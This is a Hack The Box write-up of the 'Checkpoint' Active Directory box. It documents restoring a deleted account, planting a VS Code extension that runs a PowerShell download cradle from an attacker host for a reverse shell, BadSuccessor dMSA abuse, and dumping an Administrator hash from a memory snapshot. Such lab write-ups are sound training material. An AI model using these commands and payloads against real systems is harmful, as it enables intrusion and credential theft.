Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

Checkpoint

Checkpoint is a medium-difficulty Windows Active Directory box built around a Server 2025 domain controller and a developer-centric "approved VS Code extension" deployment workflow.

platform
Hack The Box
target_os
Windows (Server 2025 / Build 26100)
difficulty
Medium
season
Season 11
logged
June 18, 2026
exploit_vectors → Share enumerationAD Recycle Bin abuseMalicious VS Code extensionBadSuccessor (dMSA abuse)

Summary of Exploitation

Checkpoint is a medium-difficulty Windows Active Directory box built around a Server 2025 domain controller and a developer-centric “approved VS Code extension” deployment workflow. Starting from a single set of low-privileged domain credentials (alex.turner), the chain proceeds as follows:

  1. Share enumeration reveals a DevDrop share (write-gated) used to auto-install approved .vsix extension packages, and a VMBackups share (access-gated).
  2. AD Recycle Bin abuse — alex.turner holds write rights over a tombstoned object, Mark Davies. Restoring the account and discovering its password is reused (Checkpoint2024!) grants write access to DevDrop.
  3. Malicious VS Code extension — a crafted .vsix dropped into DevDrop is auto-installed by a scheduled deploy job running as ryan.brooks, yielding a foothold shell.
  4. BadSuccessor (dMSA abuse) — ryan.brooks sits in an OU where they can create a delegated Managed Service Account. Creating a dMSA that “supersedes” svc_deploy returns svc_deploy’s key material via the Kerberos KERB-DMSA-KEY-PACKAGE.
  5. Credential recovery from a VM backup — svc_deploy (member of BackupAccess) can read VMBackups, which contains a VMware memory snapshot. Volatility extracts the Administrator hash, completing the chain.

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results (abridged):

Port State Service Version
53 open domain Simple DNS Plus
88 open kerberos-sec Microsoft Windows Kerberos
135 open msrpc Microsoft Windows RPC
139 open netbios-ssn Microsoft Windows netbios-ssn
389 open ldap Microsoft Windows AD LDAP (Domain: checkpoint.htb)
445 open microsoft-ds
464 open kpasswd5
593 open ncacn_http Microsoft Windows RPC over HTTP 1.0
636 open ldapssl
3268 open ldap Global Catalog
5985 open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389 open mc-nmf .NET Message Framing (AD Web Services)

Key takeaways from recon:

  • The host is the domain controller DC01.checkpoint.htb (domain: checkpoint.htb).
  • SMB signing is required, and the DC enforces LDAP signing / channel binding — relevant later, as several tools that default to unsigned LDAP or LDAPS will fail and need a sign-and-seal-over-389 path.
  • A large clock skew (~7h) was observed (clock-skew: 6h59m59s), which must be corrected before any Kerberos operations.

The domain and DC hostname were added to /etc/hosts:

echo "<target-ip>  DC01.checkpoint.htb checkpoint.htb DC01" | sudo tee -a /etc/hosts

Note on time sync. Kerberos rejects requests outside a ~5 minute window. Sync before each Kerberos step:

sudo rdate -n <target-ip>      # or: sudo ntpdate <target-ip>

SMB Enumeration

With the provided credentials (alex.turner:Checkpoint2024!), shares were enumerated:

nxc smb <target-ip> -u alex.turner -p 'Checkpoint2024!' --shares

Results:

Share Permissions Remark
ADMIN$ — Remote Admin
C$ — Default share
DevDrop READ VS Code extensions share for approved .vsix packages (engine 1.118.0)
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share
VMBackups — (no access as alex.turner)

The DevDrop remark is the central hint: an automated workflow installs approved .vsix packages compatible with VS Code engine 1.118.0. A VS Code extension executes arbitrary code on activation/installation, so write access to this share equals code execution as whoever runs the installer. As alex.turner, the share is read-only — write access must be obtained first.

Spidering confirmed DevDrop was empty and SYSVOL held only default GPO files:

nxc smb <target-ip> -u alex.turner -p 'Checkpoint2024!' -M spider_plus

AD Enumeration

A full collection attempt via BloodHound’s bundled collectors failed against this DC due to the LDAPS/channel-binding configuration:

[-] BloodHound collection failed: LDAPSocketOpenError - socket ssl wrapping error: [Errno 104] Connection reset by peer

bloodhound-python, certipy (LDAPS), and several ldap3-based tools hit the same wall — the DC refuses unsigned LDAP (strongerAuthRequired) and its LDAPS handshake resets / offers no usable ciphers (NO_CIPHERS_AVAILABLE). The reliable path on this box is plain LDAP over port 389 with sign-and-seal, which nxc LDAP queries and bloodyAD use by default.

User and group enumeration over plain LDAP:

nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' --users
nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' --groups

Notable findings:

Account Note
svc_deploy “Deployment service account”
ryan.brooks Password reset later than most accounts
max.palmer Password reset most recently of all accounts
Group Members Relevance
DevTeam 3 Likely holds DevDrop write access
BackupAccess 1 Maps to the locked VMBackups share

Group membership confirmed the structure:

nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' --query "(cn=DevTeam)" "member"
nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' --query "(cn=BackupAccess)" "member"
  • DevTeam → Brian Jenkins, Michael Torres, Ryan Brooks
  • BackupAccess → svc_deploy (sole member)

AS-REP roasting and Kerberoasting returned nothing reachable, so the path forward is through ACLs rather than credential roasting.


Exploitation Phase

Step 1 — AD Recycle Bin: Restoring Mark Davies

An ACL review of what alex.turner can write to was performed with bloodyAD:

bloodyAD --host <target-ip> -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable

This surfaced write access over a deleted object in the AD Recycle Bin:

distinguishedName: CN=Mark Davies\0ADEL:...,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE

The deleted object was inspected using the show-deleted control OIDs:

bloodyAD --host <target-ip> -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' \
  get search --base 'CN=Deleted Objects,DC=checkpoint,DC=htb' \
  --filter '(objectClass=user)' \
  --attr sAMAccountName,memberOf,lastKnownParent \
  -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065

The account was then restored:

bloodyAD --host <target-ip> -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' \
  set restore 'mark.davies'

Verification confirmed mark.davies was live and enabled (userAccountControl: 66048 = NORMAL_ACCOUNT | DONT_EXPIRE_PASSWORD, no ACCOUNTDISABLE bit):

nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' \
  --query "(sAMAccountName=mark.davies)" "userAccountControl"

Step 2 — Password reuse → DevDrop write access

Password-reset and shadow-credential attacks (SAMR reset, certipy shadow, pywhisker) were blocked — alex.turner holds GENERIC_WRITE (not the force-change-password right) over mark.davies, and PKINIT is unsupported on the DC (KDC_ERR_PADATA_TYPE_NOSUPP). However, the restored account turned out to reuse the same password as the initial foothold account:

nxc smb <target-ip> -u mark.davies -p 'Checkpoint2024!'   # [+] success

Re-checking shares as mark.davies revealed the prize — READ,WRITE on DevDrop:

nxc smb <target-ip> -u mark.davies -p 'Checkpoint2024!' --shares
Share Permissions
DevDrop READ,WRITE

mark.davies is the DevDrop writer — exactly the identity the foothold required.

Step 3 — Malicious VS Code extension (.vsix) → shell as ryan.brooks

A .vsix is a ZIP archive containing the extension assets plus metadata. Extensions execute code on activation, and npm lifecycle scripts (e.g. postinstall) run automatically when the package is processed — so the package was built with both triggers for reliability.

extension/package.json (the engine field must satisfy the advertised 1.118.0):

{
  "name": "approved-pkg",
  "displayName": "Approved Package",
  "publisher": "checkpoint",
  "version": "1.0.0",
  "engines": { "vscode": ">=1.118.0" },
  "main": "./extension.js",
  "scripts": { "postinstall": "node ./payload.js" },
  "activationEvents": ["onStartupFinished"],
  "contributes": {}
}

extension/payload.js and extension/extension.js — both invoke a download cradle (no AV on the target, so a plain cradle is sufficient):

const cp = require('child_process');
cp.exec('powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(\'http://<attacker-ip>/s.ps1\')"');

Plus the two root metadata files required by the package format — extension.vsixmanifest and [Content_Types].xml.

A standard PowerShell TCP reverse shell was hosted as s.ps1:

python3 -m http.server 80          # serves s.ps1
rlwrap nc -lvnp 9098               # catches the shell

The package was zipped and uploaded to DevDrop as mark.davies:

zip -r approved-pkg.vsix extension/ extension.vsixmanifest '[Content_Types].xml'

smbclient //<target-ip>/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!' \
  -c 'put approved-pkg.vsix'

A scheduled deploy job (C:\Scripts\..., which iterates .vsix files in DevDrop and runs code --install-extension <file> --force) processed the package and triggered the cradle. A shell landed as checkpoint\ryan.brooks — a member of DevTeam and VPN-Users.

User flag:

type C:\Users\ryan.brooks\Desktop\user.txt

Step 4 — BadSuccessor (dMSA abuse) → svc_deploy keys

ryan.brooks was found to reside in OU=DMSAHolder, flagged by the BadSuccessor check:

nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' -M badsuccessor
ryan.brooks (S-1-...-1103), OU=DMSAHolder,DC=checkpoint,DC=htb

BadSuccessor (a Server 2025 delegated Managed Service Account abuse) lets a principal who can create a dMSA in an OU mark that dMSA as the “successor” of any target account; on simulated migration the KDC issues the target’s key material to the dMSA via the KERB-DMSA-KEY-PACKAGE.

A Kerberos ticket for ryan.brooks was used (after a fresh time sync), and bloodyAD (current version — the dMSA module in older builds had a serialization bug) created the malicious dMSA superseding svc_deploy:

sudo rdate -n <target-ip>

bloodyAD -k ccache=ryan.ccache -u ryan.brooks --dc-ip <target-ip> --host dc01.checkpoint.htb \
  -d checkpoint.htb add badSuccessor evilDMSA2 \
  -t "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" \
  --ou "OU=DMSAHolder,DC=checkpoint,DC=htb"

The tool created the dMSA, requested its TGT, and returned the previous keys of the superseded account — i.e. svc_deploy’s hashes:

dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9

Tooling notes

  • The DC rejects unsigned LDAP and resets LDAPS; supply -k ccache=... and -u ryan.brooks so the tool can resolve its own identity (otherwise it errors with (sAMAccountName=None)).
  • New-ADServiceAccount on the host creates a gMSA, not a delegated MSA, and lacks the msDS-ManagedAccountPrecededByLink / msDS-DelegatedMSAState attributes — use the dedicated tooling instead.
  • Re-mint the Kerberos ccache after each rdate resync, as ticket timestamps are time-bound.

The RC4 key is svc_deploy’s NT hash. Pass-the-hash confirmed it:

nxc smb <target-ip> -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9
nxc smb <target-ip> -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --shares

svc_deploy (sole member of BackupAccess) now had READ on VMBackups.

Step 5 — VM backup → Administrator hash → Root

VMBackups contained a nightly backup folder holding a VMware memory snapshot of a Server 2019 VM:

NightlyBackup_2024-11-01\memory forensics\
  Windows Server 2019-Snapshot1.vmem    (2 GB raw memory image)
  Windows Server 2019-Snapshot1.vmsn
  Windows Server 2019.vmdk              (10 GB base disk)
  ...

The .vmem (a raw memory dump) was retrieved as svc_deploy:

smbclient //<target-ip>/VMBackups -U 'checkpoint.htb\svc_deploy' \
  --pw-nt-hash --password='e16081eb077aca74bdbf8af12af43ac9' \
  -c 'cd "NightlyBackup_2024-11-01\memory forensics"; get "Windows Server 2019-Snapshot1.vmem" vmem.raw'

Volatility 3 parsed the image and dumped credential material:

vol -f "Windows Server 2019-Snapshot1.vmem" windows.info
vol -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump
vol -f "Windows Server 2019-Snapshot1.vmem" windows.lsadump
vol -f "Windows Server 2019-Snapshot1.vmem" windows.cachedump

Syntax gotcha: quote the -f path so the spaces in the filename don’t get parsed as the plugin name: vol -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump (plugin last, file quoted).

The recovered Administrator NT hash was used to pass-the-hash and obtain a privileged session:

nxc smb <target-ip> -u Administrator -H <admin-hash>
evil-winrm -i <target-ip> -u Administrator -H <admin-hash>

Root Flag Successfully Obtained

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
<root_flag>

Key Takeaways

  • Read share remarks as design hints. The DevDrop “approved .vsix / engine 1.118.0” note was the entire foothold premise — automated extension installation is code execution by another name.
  • The AD Recycle Bin is attack surface. Write rights over a tombstoned object allow restoration; combined with password reuse, a restored account became the route to DevDrop write access.
  • Know the DC’s transport posture. This Server 2025 DC enforced LDAP signing and broke LDAPS — tools defaulting to unsigned LDAP or LDAPS failed, while sign-and-seal-over-389 (nxc LDAP, bloodyAD) worked. Recognising this early saves significant time.
  • BadSuccessor (dMSA abuse) is a powerful Server 2025 primitive. The ability to create a delegated MSA in an OU let a low-priv account inherit a service account’s keys via the KERB-DMSA-KEY-PACKAGE — no password cracking required.
  • Backups are credential goldmines. A VM memory snapshot in a readable share yielded the Administrator hash directly via Volatility, bypassing the need to touch the live LSASS.
  • Mind the clock. A ~7h skew silently breaks every Kerberos step until corrected; re-sync (and re-mint tickets) before each Kerberos operation.

Full Attack Chain

alex.turner (given creds)
   └─ write over deleted object  ──>  restore Mark Davies
        └─ password reuse  ──>  mark.davies  ──>  DevDrop WRITE
             └─ malicious .vsix  ──>  shell as ryan.brooks (DevTeam)   [USER]
                  └─ BadSuccessor / dMSA  ──>  svc_deploy hash (BackupAccess)
                       └─ VMBackups  ──>  .vmem  ──>  Volatility  ──>  Administrator hash   [ROOT]